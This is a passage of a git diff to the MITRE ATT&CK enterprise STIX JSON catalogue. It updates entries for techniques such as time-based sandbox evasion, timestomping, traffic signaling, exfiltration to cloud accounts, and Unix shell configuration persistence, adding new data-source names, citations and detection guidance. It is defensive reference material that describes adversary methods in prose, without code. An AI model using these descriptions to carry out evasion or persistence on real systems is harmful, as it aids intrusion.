sandbox, specifically those that are automated or only operate for a limited amount of time.\n\nAdversaries may employ various time-based evasions, such as delaying malware functionality upon initial execution using programmatic sleep commands or native system scheduling functionality (ex: [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053)). Delays may also be based on waiting for specific victim conditions to be met (ex: system time, events, etc.) or employ scheduled [Multi-Stage Channels](https://attack.mitre.org/techniques/T1104) to avoid analysis and scrutiny. ", + "description": "Adversaries may employ various time-based methods to detect and avoid virtualization and analysis environments. This may include enumerating time-based properties, such as uptime or the system clock, as well as the use of timers or other triggers to avoid a virtual machine environment (VME) or sandbox, specifically those that are automated or only operate for a limited amount of time.\n\nAdversaries may employ various time-based evasions, such as delaying malware functionality upon initial execution using programmatic sleep commands or native system scheduling functionality (ex: [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053)). Delays may also be based on waiting for specific victim conditions to be met (ex: system time, events, etc.) or employ scheduled [Multi-Stage Channels](https://attack.mitre.org/techniques/T1104) to avoid analysis and scrutiny.\n\nAdversaries may also use time as a metric to detect sandboxes and analysis environments, particularly those that attempt to manipulate time mechanisms to simulate longer elapses of time. For example, an adversary may be able to identify a sandbox accelerating time by sampling and calculating the expected value for an environment's timestamp before and after execution of a sleep function.(Citation: ISACA Malware Tricks)", "name": "Time Based Evasion", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "object_marking_refs": [ @@ -32345,8 +33880,26 @@ "source_name": "mitre-attack", "external_id": "T1497.003", "url": "https://attack.mitre.org/techniques/T1497/003" + }, + { + "source_name": "ISACA Malware Tricks", + "url": "https://www.isaca.org/resources/isaca-journal/issues/2017/volume-6/evasive-malware-tricks-how-malware-evades-detection-by-sandboxes", + "description": "Kolbitsch, C. (2017, November 1). Evasive Malware Tricks: How Malware Evades Detection by Sandboxes. Retrieved March 30, 2021." } ], + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "modified": "2021-04-01T15:48:28.345Z", + "created": "2020-03-06T21:11:11.225Z", "x_mitre_platforms": [ "Linux", "macOS", @@ -32356,12 +33909,13 @@ "Deloitte Threat Library Team" ], "x_mitre_data_sources": [ - "Process monitoring", - "Process command-line parameters" + "Process: Process Creation", + "Command: Command Execution", + "Process: OS API Execution" ], "x_mitre_detection": "Time-based evasion will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection. ", "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.0", + "x_mitre_version": "1.1", "x_mitre_defense_bypassed": [ "Host forensic analysis", "Signature-based detection", @@ -32470,12 +34024,10 @@ ], "x_mitre_detection": "Baseline values and monitor/analyze activity related to modifying W32Time information in the Registry, including application programming interface (API) calls such as RegCreateKeyEx and RegSetValueEx as well as execution of the W32tm.exe utility. (Citation: Microsoft W32Time May 2017) There is no restriction on the number of custom time providers registrations, though each may require a DLL payload written to disk. (Citation: Github W32Time Oct 2017)\n\nThe Sysinternals Autoruns tool may also be used to analyze auto-starting locations, including DLLs listed as time providers. (Citation: TechNet Autoruns)", "x_mitre_data_sources": [ - "API monitoring", - "Binary file metadata", - "DLL monitoring", - "File monitoring", - "Loaded DLLs", - "Process monitoring" + "Windows Registry: Windows Registry Key Modification", + "Module: Module Load", + "Command: Command Execution", + "Process: Process Creation" ], "x_mitre_contributors": [ "Scott Lundgren, @5twenty9, Carbon Black" @@ -32539,9 +34091,8 @@ "Windows" ], "x_mitre_data_sources": [ - "Process command-line parameters", - "Process monitoring", - "File monitoring" + "File: File Modification", + "File: File Metadata" ], "x_mitre_detection": "Forensic techniques exist to detect aspects of files that have had their timestamps modified. (Citation: WindowsIR Anti-Forensic Techniques) It may be possible to detect timestomping using file modification monitoring that collects information on file handle opens and can compare timestamp values.", "x_mitre_defense_bypassed": [ @@ -32595,10 +34146,8 @@ "Windows" ], "x_mitre_data_sources": [ - "Process command-line parameters", - "Process monitoring", - "Access tokens", - "API monitoring" + "Process: OS API Execution", + "Command: Command Execution" ], "x_mitre_detection": "If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)\n\nAnalysts can also monitor for use of Windows APIs such as DuplicateToken(Ex), ImpersonateLoggedOnUser , and SetThreadToken and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.", "x_mitre_defense_bypassed": [ @@ -32610,6 +34159,13 @@ "x_mitre_version": "1.0" }, { + "id": "attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0", + "description": "Adversaries may buy, steal, or download software tools that can be used during targeting. Tools can be open or closed source, free or commercial. A tool can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: [PsExec](https://attack.mitre.org/software/S0029)). Tool acquisition can involve the procurement of commercial software licenses, including for red teaming tools such as [Cobalt Strike](https://attack.mitre.org/software/S0154). Commercial software may be obtained through purchase, stealing licenses (or licensed copies of the software), or cracking trial versions.(Citation: Recorded Future Beacon 2019)\n\nAdversaries may obtain tools to support their operations, including to support execution of post-compromise behaviors. In addition to freely downloading or purchasing software, adversaries may steal software and/or software licenses from third-party entities (including other adversaries).", + "name": "Tool", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], "external_references": [ { "source_name": "mitre-attack", @@ -32622,13 +34178,6 @@ "description": "Recorded Future. (2019, June 20). Out of the Blue: How Recorded Future Identified Rogue Cobalt Strike Servers. Retrieved October 16, 2020." } ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Tool", - "description": "Before compromising a victim, adversaries may buy, steal, or download software tools that can be used during targeting. Tools can be open or closed source, free or commercial. A tool can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: [PsExec](https://attack.mitre.org/software/S0029)). Tool acquisition can involve the procurement of commercial software licenses, including for red teaming tools such as [Cobalt Strike](https://attack.mitre.org/software/S0154). Commercial software may be obtained through purchase, stealing licenses (or licensed copies of the software), or cracking trial versions.(Citation: Recorded Future Beacon 2019)\n\nAdversaries may obtain tools to support their operations, including to support execution of post-compromise behaviors. In addition to freely downloading or purchasing software, adversaries may steal software and/or software licenses from third-party entities (including other adversaries).", - "id": "attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0", "type": "attack-pattern", "kill_chain_phases": [ { @@ -32636,14 +34185,14 @@ "phase_name": "resource-development" } ], - "modified": "2020-10-20T14:46:37.477Z", + "modified": "2021-04-15T03:15:20.491Z", "created": "2020-10-01T02:08:33.977Z", - "x_mitre_detection": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle.", - "x_mitre_version": "1.0", - "x_mitre_is_subtechnique": true, "x_mitre_platforms": [ "PRE" - ] + ], + "x_mitre_is_subtechnique": true, + "x_mitre_version": "1.0", + "x_mitre_detection": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle." }, { "created": "2020-10-19T13:40:11.118Z", @@ -32698,9 +34247,8 @@ "Network" ], "x_mitre_data_sources": [ - "Netflow/Enclave netflow", - "Packet capture", - "Network protocol analysis" + "Network Traffic: Network Connection Creation", + "Network Traffic: Network Traffic Flow" ], "x_mitre_detection": "Monitor network traffic for uncommon data flows (e.g. unusual network communications, suspicious communications that have never been seen before, communications sending fixed size data packets at regular intervals). Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. ", "x_mitre_permissions_required": [ @@ -32710,11 +34258,26 @@ "x_mitre_version": "1.0" }, { - "revoked": false, - "id": "attack-pattern--451a9977-d255-43c9-b431-66de80130c8c", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Traffic Signaling", - "description": "Adversaries may use traffic signaling to hide open ports or other malicious functionality used for persistence or command and control. Traffic signaling involves the use of a magic value or sequence that must be sent to a system to trigger a special response, such as opening a closed port or executing a malicious task. This may take the form of sending a series of packets with certain characteristics before a port will be opened that the adversary can use for command and control. Usually this series of packets consists of attempted connections to a predefined sequence of closed ports (i.e. [Port Knocking](https://attack.mitre.org/techniques/T1205/001)), but can involve unusual flags, specific strings, or other unique characteristics. After the sequence is completed, opening a port may be accomplished by the host-based firewall, but could also be implemented by custom software.\n\nAdversaries may also communicate with an already open port, but the service listening on that port will only respond to commands or trigger other malicious functionality if passed the appropriate magic value(s).\n\nThe observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.\n\nOn network devices, adversaries may use crafted packets to enable [Network Device Authentication](https://attack.mitre.org/techniques/T1556/004) for standard services offered by the device such as telnet. Such signaling may also be used to open a closed service port such as telnet, or to trigger module modification of malware implants on the device, adding, removing, or changing malicious capabilities.(Citation: Cisco Synful Knock Evolution) (Citation: FireEye - Synful Knock) (Citation: Cisco Blog Legacy Device Attacks) To enable this traffic signaling on embedded devices, adversaries must first achieve and leverage [Patch System Image](https://attack.mitre.org/techniques/T1601/001) due to the monolithic nature of the architecture.", + "created": "2018-04-18T17:59:24.739Z", + "modified": "2021-02-17T14:23:49.495Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "type": "attack-pattern", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], "external_references": [ { "source_name": "mitre-attack", @@ -32740,53 +34303,70 @@ "source_name": "Cisco Blog Legacy Device Attacks", "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954", "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020." - } - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "type": "attack-pattern", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" }, { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" + "source_name": "Bleeping Computer - Ryuk WoL", + "url": "https://www.bleepingcomputer.com/news/security/ryuk-ransomware-uses-wake-on-lan-to-encrypt-offline-devices/", + "description": "Abrams, L. (2021, January 14). Ryuk Ransomware Uses Wake-on-Lan To Encrypt Offline Devices. Retrieved February 11, 2021." }, { - "kill_chain_name": "mitre-attack", - "phase_name": "command-and-control" + "source_name": "AMD Magic Packet", + "url": "https://www.amd.com/system/files/TechDocs/20213.pdf", + "description": "AMD. (1995, November 1). Magic Packet Technical White Paper. Retrieved February 17, 2021." + }, + { + "source_name": "GitLab WakeOnLAN", + "url": "https://gitlab.com/wireshark/wireshark/-/wikis/WakeOnLAN", + "description": "Perry, David. (2020, August 11). WakeOnLAN (WOL). Retrieved February 17, 2021." } ], - "modified": "2020-10-21T15:30:44.964Z", - "created": "2018-04-18T17:59:24.739Z", - "x_mitre_contributors": [ - "Josh Day, Gigamon" - ], - "x_mitre_data_sources": [ - "Packet capture", - "Netflow/Enclave netflow" - ], - "x_mitre_permissions_required": [ - "User" + "description": "Adversaries may use traffic signaling to hide open ports or other malicious functionality used for persistence or command and control. Traffic signaling involves the use of a magic value or sequence that must be sent to a system to trigger a special response, such as opening a closed port or executing a malicious task. This may take the form of sending a series of packets with certain characteristics before a port will be opened that the adversary can use for command and control. Usually this series of packets consists of attempted connections to a predefined sequence of closed ports (i.e. [Port Knocking](https://attack.mitre.org/techniques/T1205/001)), but can involve unusual flags, specific strings, or other unique characteristics. After the sequence is completed, opening a port may be accomplished by the host-based firewall, but could also be implemented by custom software.\n\nAdversaries may also communicate with an already open port, but the service listening on that port will only respond to commands or trigger other malicious functionality if passed the appropriate magic value(s).\n\nThe observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.\n\nOn network devices, adversaries may use crafted packets to enable [Network Device Authentication](https://attack.mitre.org/techniques/T1556/004) for standard services offered by the device such as telnet. Such signaling may also be used to open a closed service port such as telnet, or to trigger module modification of malware implants on the device, adding, removing, or changing malicious capabilities.(Citation: Cisco Synful Knock Evolution) (Citation: FireEye - Synful Knock) (Citation: Cisco Blog Legacy Device Attacks) To enable this traffic signaling on embedded devices, adversaries must first achieve and leverage [Patch System Image](https://attack.mitre.org/techniques/T1601/001) due to the monolithic nature of the architecture.\n\nAdversaries may also use the Wake-on-LAN feature to turn on powered off systems. Wake-on-LAN is a hardware feature that allows a powered down system to be powered on, or woken up, by sending a magic packet to it. Once the system is powered on, it may become a target for lateral movement.(Citation: Bleeping Computer - Ryuk WoL) (Citation: AMD Magic Packet)", + "name": "Traffic Signaling", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "attack-pattern--451a9977-d255-43c9-b431-66de80130c8c", + "revoked": false, + "x_mitre_is_subtechnique": false, + "x_mitre_version": "2.2", + "x_mitre_defense_bypassed": [ + "Defensive network service scanning" ], + "x_mitre_detection": "Record network packets sent to and from the system, looking for extraneous packets that do not belong to established flows.\n\nThe Wake-on-LAN magic packet consists of 6 bytes of FF followed by sixteen repetitions of the target system's IEEE address. Seeing this string anywhere in a packet's payload may be indicative of a Wake-on-LAN attempt.(Citation: GitLab WakeOnLAN)", + "x_mitre_network_requirements": true, "x_mitre_platforms": [ "Linux", "macOS", "Windows", "Network" ], - "x_mitre_network_requirements": true, - "x_mitre_detection": "Record network packets sent to and from the system, looking for extraneous packets that do not belong to established flows.", - "x_mitre_defense_bypassed": [ - "Defensive network service scanning" + "x_mitre_permissions_required": [ + "User" ], - "x_mitre_version": "2.1", - "x_mitre_is_subtechnique": false + "x_mitre_data_sources": [ + "Network Traffic: Network Connection Creation", + "Network Traffic: Network Traffic Flow", + "Network Traffic: Network Traffic Content" + ], + "x_mitre_contributors": [ + "Josh Day, Gigamon" + ] }, { + "created": "2019-08-30T13:03:04.038Z", + "modified": "2021-03-08T10:33:01.280Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "exfiltration" + } + ], + "type": "attack-pattern", + "id": "attack-pattern--d4bdbdea-eaec-4071-b4f9-5105e12ea4b6", + "description": "Adversaries may exfiltrate data by transferring the data, including backups of cloud environments, to another cloud account they control on the same service to avoid typical file transfers/downloads and network-based exfiltration detection.\n\nA defender who is monitoring for large transfers to outside the cloud environment through normal file transfers or over command and control channels may not be watching for data transfers to another account within the same cloud provider. Such transfers may utilize existing cloud provider APIs and the internal address space of the cloud provider to blend into normal traffic or avoid data transfers over external network interfaces.\n\nIncidents have been observed where adversaries have created backups of cloud instances and transferred them to separate accounts.(Citation: DOJ GRU Indictment Jul 2018) ", + "name": "Transfer Data to Cloud Account", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], "external_references": [ { "source_name": "mitre-attack", @@ -32799,42 +34379,25 @@ "url": "https://www.justice.gov/file/1080281/download" } ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + "x_mitre_platforms": [ + "IaaS" ], - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Transfer Data to Cloud Account", - "description": "Adversaries may exfiltrate data by transferring the data, including backups of cloud environments, to another cloud account they control on the same service to avoid typical file transfers/downloads and network-based exfiltration detection.\n\nA defender who is monitoring for large transfers to outside the cloud environment through normal file transfers or over command and control channels may not be watching for data transfers to another account within the same cloud provider. Such transfers may utilize existing cloud provider APIs and the internal address space of the cloud provider to blend into normal traffic or avoid data transfers over external network interfaces.\n\nIncidents have been observed where adversaries have created backups of cloud instances and transferred them to separate accounts.(Citation: DOJ GRU Indictment Jul 2018) ", - "id": "attack-pattern--d4bdbdea-eaec-4071-b4f9-5105e12ea4b6", - "type": "attack-pattern", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "exfiltration" - } - ], - "modified": "2020-03-29T23:43:44.256Z", - "created": "2019-08-30T13:03:04.038Z", - "x_mitre_is_subtechnique": false, - "x_mitre_detection": "Monitor account activity for attempts to share data, snapshots, or backups with untrusted or unusual accounts on the same cloud service provider. Monitor for anomalous file transfer activity between accounts and to untrusted VPCs. ", - "x_mitre_data_sources": [ - "Stackdriver logs", - "Azure activity logs", - "AWS CloudTrail logs" - ], - "x_mitre_version": "1.0", - "x_mitre_permissions_required": [ - "User" - ], - "x_mitre_network_requirements": true, "x_mitre_contributors": [ "Praetorian" ], - "x_mitre_platforms": [ - "Azure", - "AWS", - "GCP" - ] + "x_mitre_network_requirements": true, + "x_mitre_permissions_required": [ + "User" + ], + "x_mitre_version": "1.1", + "x_mitre_data_sources": [ + "Snapshot: Snapshot Creation", + "Snapshot: Snapshot Modification", + "Cloud Storage: Cloud Storage Modification", + "Cloud Storage: Cloud Storage Creation" + ], + "x_mitre_detection": "Monitor account activity for attempts to share data, snapshots, or backups with untrusted or unusual accounts on the same cloud service provider. Monitor for anomalous file transfer activity between accounts and to untrusted VPCs. ", + "x_mitre_is_subtechnique": false }, { "id": "attack-pattern--cc1e737c-236c-4e3b-83ba-32039a626ef8", @@ -32908,8 +34471,9 @@ ], "x_mitre_detection": "Detecting the manipulation of data as at passes over a network can be difficult without the appropriate tools. In some cases integrity verification checks, such as file hashing, may be used on critical files as they transit a network. With some critical processes involving transmission of data, manual or out-of-band integrity checking may be useful for identifying manipulated data. ", "x_mitre_data_sources": [ - "Packet capture", - "Network protocol analysis" + "Process: OS API Execution", + "Network Traffic: Network Traffic Content", + "Network Traffic: Network Traffic Flow" ], "x_mitre_platforms": [ "Linux", @@ -32953,8 +34517,8 @@ "created": "2019-12-12T15:08:20.972Z", "x_mitre_detection": "Consider monitoring application logs for abnormal behavior that may indicate suspicious installation of application software components. Consider monitoring file locations associated with the installation of new application software components such as paths from which applications typically load such extensible components.", "x_mitre_data_sources": [ - "Application logs", - "File monitoring" + "File: File Creation", + "Application Log: Application Log Content" ], "x_mitre_version": "1.0", "x_mitre_is_subtechnique": true, @@ -33043,9 +34607,10 @@ ], "x_mitre_detection": "Trap commands must be registered for the shell or programs, so they appear in files. Monitoring files for suspicious or overly broad trap commands can narrow down suspicious behavior during an investigation. Monitor for suspicious processes executed through trap interrupts.", "x_mitre_data_sources": [ - "Process command-line parameters", - "Process monitoring", - "File monitoring" + "Process: Process Creation", + "Command: Command Execution", + "File: File Creation", + "File: File Modification" ], "x_mitre_platforms": [ "macOS", @@ -33094,7 +34659,7 @@ "kill_chain_name": "mitre-attack" } ], - "modified": "2020-06-20T22:43:41.298Z", + "modified": "2021-03-05T22:25:49.118Z", "created": "2017-05-31T21:31:39.262Z", "x_mitre_version": "1.2", "x_mitre_contributors": [ @@ -33102,8 +34667,8 @@ "Matthew Demaske, Adaptforward" ], "x_mitre_data_sources": [ - "File monitoring", - "Process monitoring" + "Process: Process Creation", + "Command: Command Execution" ], "x_mitre_defense_bypassed": [ "Application control" @@ -33118,52 +34683,52 @@ "x_mitre_is_subtechnique": false }, { - "id": "attack-pattern--9fa07bef-9c81-421e-a8e5-ad4366c5a925", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Trusted Relationship", - "description": "Adversaries may breach or otherwise leverage organizations who have access to intended victims. Access through trusted third party relationship exploits an existing connection that may not be protected or receives less scrutiny than standard mechanisms of gaining access to a network.\n\nOrganizations often grant elevated access to second or third-party external providers in order to allow them to manage internal systems as well as cloud-based environments. Some examples of these relationships include IT services contractors, managed security providers, infrastructure contractors (e.g. HVAC, elevators, physical security). The third-party provider's access may be intended to be limited to the infrastructure being maintained, but may exist on the same network as the rest of the enterprise. As such, [Valid Accounts](https://attack.mitre.org/techniques/T1078) used by the other party for access to internal network systems may be compromised and used.", - "external_references": [ - { - "source_name": "mitre-attack", - "url": "https://attack.mitre.org/techniques/T1199", - "external_id": "T1199" - } - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "type": "attack-pattern", + "created": "2018-04-18T17:59:24.739Z", + "modified": "2021-03-08T10:33:01.045Z", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "initial-access" } ], - "modified": "2020-07-14T19:38:14.299Z", - "created": "2018-04-18T17:59:24.739Z", - "x_mitre_is_subtechnique": false, - "x_mitre_platforms": [ - "Linux", - "Windows", - "macOS", - "AWS", - "GCP", - "Azure", - "SaaS" + "type": "attack-pattern", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], - "x_mitre_detection": "Establish monitoring for activity conducted by second and third party providers and other trusted entities that may be leveraged as a means to gain access to the network. Depending on the type of relationship, an adversary may have access to significant amounts of information about the target before conducting an operation, especially if the trusted relationship is based on IT services. Adversaries may be able to act quickly towards an objective, so proper monitoring for behavior related to Credential Access, Lateral Movement, and Collection will be important to detect the intrusion.", - "x_mitre_data_sources": [ - "Azure activity logs", - "Stackdriver logs", - "AWS CloudTrail logs", - "Application logs", - "Authentication logs", - "Third-party application logs" + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1199", + "url": "https://attack.mitre.org/techniques/T1199" + }, + { + "source_name": "CISA IT Service Providers", + "url": "https://us-cert.cisa.gov/APTs-Targeting-IT-Service-Provider-Customers", + "description": "CISA. (n.d.). APTs Targeting IT Service Provider Customers. Retrieved November 16, 2020." + } ], - "x_mitre_version": "2.0", + "description": "Adversaries may breach or otherwise leverage organizations who have access to intended victims. Access through trusted third party relationship exploits an existing connection that may not be protected or receives less scrutiny than standard mechanisms of gaining access to a network.\n\nOrganizations often grant elevated access to second or third-party external providers in order to allow them to manage internal systems as well as cloud-based environments. Some examples of these relationships include IT services contractors, managed security providers, infrastructure contractors (e.g. HVAC, elevators, physical security). The third-party provider's access may be intended to be limited to the infrastructure being maintained, but may exist on the same network as the rest of the enterprise. As such, [Valid Accounts](https://attack.mitre.org/techniques/T1078) used by the other party for access to internal network systems may be compromised and used.(Citation: CISA IT Service Providers)", + "name": "Trusted Relationship", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "attack-pattern--9fa07bef-9c81-421e-a8e5-ad4366c5a925", "x_mitre_contributors": [ "Praetorian" - ] + ], + "x_mitre_version": "2.2", + "x_mitre_data_sources": [ + "Application Log: Application Log Content", + "Logon Session: Logon Session Metadata", + "Logon Session: Logon Session Creation" + ], + "x_mitre_detection": "Establish monitoring for activity conducted by second and third party providers and other trusted entities that may be leveraged as a means to gain access to the network. Depending on the type of relationship, an adversary may have access to significant amounts of information about the target before conducting an operation, especially if the trusted relationship is based on IT services. Adversaries may be able to act quickly towards an objective, so proper monitoring for behavior related to Credential Access, Lateral Movement, and Collection will be important to detect the intrusion.", + "x_mitre_platforms": [ + "Windows", + "SaaS", + "IaaS", + "Linux", + "macOS" + ], + "x_mitre_is_subtechnique": false }, { "created": "2017-05-31T21:31:23.195Z", @@ -33209,9 +34774,9 @@ "John Lambert, Microsoft Threat Intelligence Center" ], "x_mitre_data_sources": [ - "API monitoring", - "Process monitoring", - "Kernel drivers" + "Windows Registry: Windows Registry Key Modification", + "Driver: Driver Load", + "Process: OS API Execution" ], "x_mitre_detection": "Detecting use of proxied smart card connections by an adversary may be difficult because it requires the token to be inserted into a system; thus it is more likely to be in use by a legitimate user and blend in with other network behavior.\n\nSimilar to [Input Capture](https://attack.mitre.org/techniques/T1056), keylogging activity can take various forms but can may be detected via installation of a driver, setting a hook, or usage of particular API calls associated with polling to intercept keystrokes.", "x_mitre_permissions_required": [ @@ -33287,9 +34852,8 @@ "Linux" ], "x_mitre_data_sources": [ - "File monitoring", - "Process monitoring", - "Process command-line parameters" + "Command: Command Execution", + "Process: Process Creation" ], "x_mitre_detection": "Unix shell usage may be common on administrator, developer, or power user systems, depending on job function. If scripting is restricted for normal users, then any attempt to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.\n\nScripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information discovery, collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script. ", "x_mitre_permissions_required": [ @@ -33299,6 +34863,111 @@ "x_mitre_is_subtechnique": true, "x_mitre_version": "1.0" }, + { + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1546.004", + "url": "https://attack.mitre.org/techniques/T1546/004" + }, + { + "source_name": "intezer-kaiji-malware", + "url": "https://www.intezer.com/blog/research/kaiji-new-chinese-linux-malware-turning-to-golang/", + "description": "Paul Litvak. (2020, May 4). Kaiji: New Chinese Linux malware turning to Golang. Retrieved December 17, 2020." + }, + { + "source_name": "bencane blog bashrc", + "url": "https://bencane.com/2013/09/16/understanding-a-little-more-about-etcprofile-and-etcbashrc/", + "description": "Benjamin Cane. (2013, September 16). Understanding a little more about /etc/profile and /etc/bashrc. Retrieved February 25, 2021." + }, + { + "source_name": "anomali-rocke-tactics", + "url": "https://www.anomali.com/blog/illicit-cryptomining-threat-actor-rocke-changes-tactics-now-more-difficult-to-detect", + "description": "Anomali Threat Research. (2019, October 15). Illicit Cryptomining Threat Actor Rocke Changes Tactics, Now More Difficult to Detect. Retrieved December 17, 2020." + }, + { + "source_name": "Linux manual bash invocation", + "url": "https://wiki.archlinux.org/index.php/Bash#Invocation", + "description": "ArchWiki. (2021, January 19). Bash. Retrieved February 25, 2021." + }, + { + "source_name": "Tsunami", + "url": "https://unit42.paloaltonetworks.com/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/", + "description": "Claud Xiao and Cong Zheng. (2017, April 6). New IoT/Linux Malware Targets DVRs, Forms Botnet. Retrieved December 17, 2020." + }, + { + "source_name": "anomali-linux-rabbit", + "url": "https://www.anomali.com/blog/pulling-linux-rabbit-rabbot-malware-out-of-a-hat", + "description": "Anomali Threat Research. (2018, December 6). Pulling Linux Rabbit/Rabbot Malware Out of a Hat. Retrieved December 17, 2020." + }, + { + "source_name": "Magento", + "url": "https://blog.sucuri.net/2018/05/shell-logins-as-a-magento-reinfection-vector.html", + "description": "Cesar Anjos. (2018, May 31). Shell Logins as a Magento Reinfection Vector. Retrieved December 17, 2020." + }, + { + "source_name": "ScriptingOSX zsh", + "url": "https://scriptingosx.com/2019/06/moving-to-zsh-part-2-configuration-files/", + "description": "Armin Briegel. (2019, June 5). Moving to zsh, part 2: Configuration Files. Retrieved February 25, 2021." + }, + { + "source_name": "PersistentJXA_leopitt", + "url": "https://posts.specterops.io/persistent-jxa-66e1c3cd1cf5", + "description": "Leo Pitt. (2020, August 6). Persistent JXA - A poor man's Powershell for macOS. Retrieved January 11, 2021." + }, + { + "source_name": "code_persistence_zsh", + "url": "https://github.com/D00MFist/PersistentJXA/blob/master/BashProfilePersist.js", + "description": "Leo Pitt. (2020, November 11). Github - PersistentJXA/BashProfilePersist.js. Retrieved January 11, 2021." + }, + { + "source_name": "ESF_filemonitor", + "url": "https://objective-see.com/blog/blog_0x48.html", + "description": "Patrick Wardle. (2019, September 17). Writing a File Monitor with Apple's Endpoint Security Framework. Retrieved December 17, 2020." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Unix Shell Configuration Modification", + "description": "Adversaries may establish persistence through executing malicious commands triggered by a user\u2019s shell. User [Unix Shell](https://attack.mitre.org/techniques/T1059/004)s execute several configuration scripts at different points throughout the session based on events. For example, when a user opens a command-line interface or remotely logs in (such as via SSH) a login shell is initiated. The login shell executes scripts from the system (/etc) and the user\u2019s home directory (~/) to configure the environment. All login shells on a system use /etc/profile when initiated. These configuration scripts run at the permission level of their directory and are often used to set environment variables, create aliases, and customize the user\u2019s environment. When the shell exits or terminates, additional shell scripts are executed to ensure the shell exits appropriately. \n\nAdversaries may attempt to establish persistence by inserting commands into scripts automatically executed by shells. Using bash as an example, the default shell for most GNU/Linux systems, adversaries may add commands that launch malicious binaries into the /etc/profile and /etc/profile.d files.(Citation: intezer-kaiji-malware)(Citation: bencane blog bashrc) These files typically require root permissions to modify and are executed each time any shell on a system launches. For user level permissions, adversaries can insert malicious commands into ~/.bash_profile, ~/.bash_login, or ~/.profile which are sourced when a user opens a command-line interface or connects remotely.(Citation: anomali-rocke-tactics)(Citation: Linux manual bash invocation) Since the system only executes the first existing file in the listed order, adversaries have used ~/.bash_profile to ensure execution. Adversaries have also leveraged the ~/.bashrc file which is additionally executed if the connection is established remotely or an additional interactive shell is opened, such as a new tab 